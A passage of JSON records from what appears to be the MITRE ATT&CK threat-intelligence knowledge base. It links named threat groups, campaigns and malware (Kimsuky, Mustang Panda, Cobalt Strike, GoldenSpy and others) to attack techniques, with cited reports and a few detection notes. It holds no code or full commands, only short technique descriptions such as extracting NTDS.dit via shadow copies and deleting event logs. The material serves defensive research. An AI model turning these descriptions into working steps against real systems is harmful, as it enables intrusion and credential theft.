anomalously.","source_ref":"x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e","target_ref":"attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b6cda6b5-b2c2-4472-a3c5-55bd0f5d8f88","created":"2022-06-16T19:22:08.191Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor network traffic content for evidence of data exfiltration, such as gratuitous or anomalous internal traffic containing collected data. Consider correlation with process monitoring and command lines associated with collection and exfiltration.","modified":"2022-06-16T19:22:08.191Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6cf9ca0-96e9-4072-9564-0ea741d3bbb6","type":"relationship","created":"2021-09-21T21:48:15.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:49.202Z","description":"[Turian](https://attack.mitre.org/software/S0647) has the ability to use HTTP for its C2.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6d0a9fa-a908-4837-9484-91d07cde5e42","created":"2022-09-22T21:25:24.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:59:14.388Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors enabled HTTP and HTTPS listeners.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6d77871-1b71-4b65-b04b-9ee1d4b80a9c","type":"relationship","created":"2020-07-23T14:20:48.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.692Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) constantly attempts to download and execute files from the remote C2, including [GoldenSpy](https://attack.mitre.org/software/S0493) itself if not found on the system.(Citation: Trustwave GoldenSpy June 2020)\t","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b6d8f711-8b5f-4b5e-82c4-abf144223c55","created":"2019-08-26T15:27:13.021Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."},{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."},{"source_name":"Zdnet Kimsuky Dec 2018","url":"https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/","description":"Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019."},{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used browser extensions including Google Chrome to steal passwords and cookies from browsers. [Kimsuky](https://attack.mitre.org/groups/G0094) has also used Nirsoft's WebBrowserPassView tool to dump the passwords obtained from victims.(Citation: Zdnet Kimsuky Dec 2018)(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 2018)(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T15:04:45.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6da41e9-9925-4b83-b9a7-d29509b852de","type":"relationship","created":"2021-04-13T19:29:21.093Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:49:24.416Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used vssadmin to create a volume shadow copy and retrieve the NTDS.dit file. [Mustang Panda](https://attack.mitre.org/groups/G0129) has also used reg save on the SYSTEM file Registry location to help extract the NTDS.dit file.(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6df63b7-34af-4918-8d1d-cf3dad0287f8","type":"relationship","created":"2019-06-24T13:13:57.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2019-07-06T22:20:35.197Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) uses a cipher to implement a decoding function.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6e427c5-ae51-4240-b91e-3c417cc4e1f0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2021-09-15T14:02:09.893Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used RAR to compress collected data before exfiltration.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6e5a51c-f730-4514-8ffd-b540d5b4cf23","created":"2023-04-03T20:01:14.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:47:13.525Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has encrypted their payloads.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35","created":"2017-05-31T21:33:27.079Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: FireEye FIN7 March 2017)","modified":"2022-07-20T20:06:44.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6f0383d-986d-48a4-ac3e-77b40bbd94ec","created":"2024-05-22T20:27:15.180Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:27:15.180Z","description":"[Apostle](https://attack.mitre.org/software/S1133) will attempt to delete all event logs on a victim machine following file wipe activity.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6f1f9f1-05d9-4ac6-b191-404443430b2b","created":"2020-11-06T18:40:38.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 March 2020","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.868Z","description":"(Citation: FireEye APT41 March 2020)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b6f451a7-f3a8-4d62-a449-21af7731d369","created":"2022-03-21T21:21:59.032Z","x_mitre_version":"1.0","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can create a [Launch Agent](https://attack.mitre.org/techniques/T1543/001) with the `RunAtLoad` key-value pair set to true, ensuring the `com.apple.GrowlHelper.plist` file runs every time a user logs in.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)","modified":"2022-04-20T14:46:38.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6f52beb-1be0-4607-86a6-977d34fabe54","type":"relationship","created":"2020-11-06T18:40:38.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.216Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6f54741-1424-4a3c-b83e-1c94df063186","type":"relationship","created":"2021-11-19T15:48:03.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T15:48:03.318Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can determine the current time.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6f6b1e0-8e37-4f0a-b506-66537d3f0ff0","created":"2023-03-17T15:43:58.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T15:21:43.169Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) obtained tools such as Wake-On-Lan, [Responder](https://attack.mitre.org/software/S0174), ChromePass, and dbxcli.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.539Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6f9bc1d-bc66-4627-a1fd-56276a957320","created":"2024-02-13T22:14:28.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NSA APT5 Citrix Threat Hunting December 2022","description":"National Security Agency. (2022, December). APT5: Citrix ADC Threat Hunting Guidance. Retrieved February 5, 2024.","url":"https://media.defense.gov/2022/Dec/13/2003131586/-1/-1/0/CSA-APT5-CITRIXADC-V1.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-14T18:53:21.578Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has made modifications to the crontab file including in `/var/cron/tabs/`.(Citation: NSA APT5 Citrix Threat Hunting December 2022)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b6fa5f7f-1055-4a9a-8372-d281fd6ca4af","created":"2021-03-18T13:17:47.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"Proofpoint TA450 Phishing March 2024","description":"Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T19:42:39.884Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has distributed URLs in phishing e-mails that link to lure documents.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)(Citation: Proofpoint TA450 Phishing March 2024)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.375Z","description":"Most of the strings in [ADVSTORESHELL](https://attack.mitre.org/software/S0045) are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.(Citation: Kaspersky Sofacy)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b703258a-ea4b-4778-9b98-b053bd16a959","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.757Z","description":"Some [ZeroT](https://attack.mitre.org/software/S0230) DLL files have been packed with UPX.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b704b2b0-50c5-4fba-ab6c-db346b3524c7","type":"relationship","created":"2021-08-04T20:04:49.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"SentinelOne NobleBaron June 2021","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."}],"modified":"2021-10-13T13:00:59.104Z","description":"[NativeZone](https://attack.mitre.org/software/S0637) can check for the presence of KM.EkeyAlmaz1C.dll and will halt execution unless it is in the same directory as the rest of the malware's components.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)","relationship_type":"uses","source_ref":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7064aad-995c-450f-b43d-f4bd2362d401","type":"relationship","created":"2020-02-05T20:09:23.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T20:09:23.055Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b707524f-5ac2-47c2-964d-61782e812fda","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Naid June 2012","description":"Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Naid](https://attack.mitre.org/software/S0205) creates a new service to establish.(Citation: Symantec Naid June 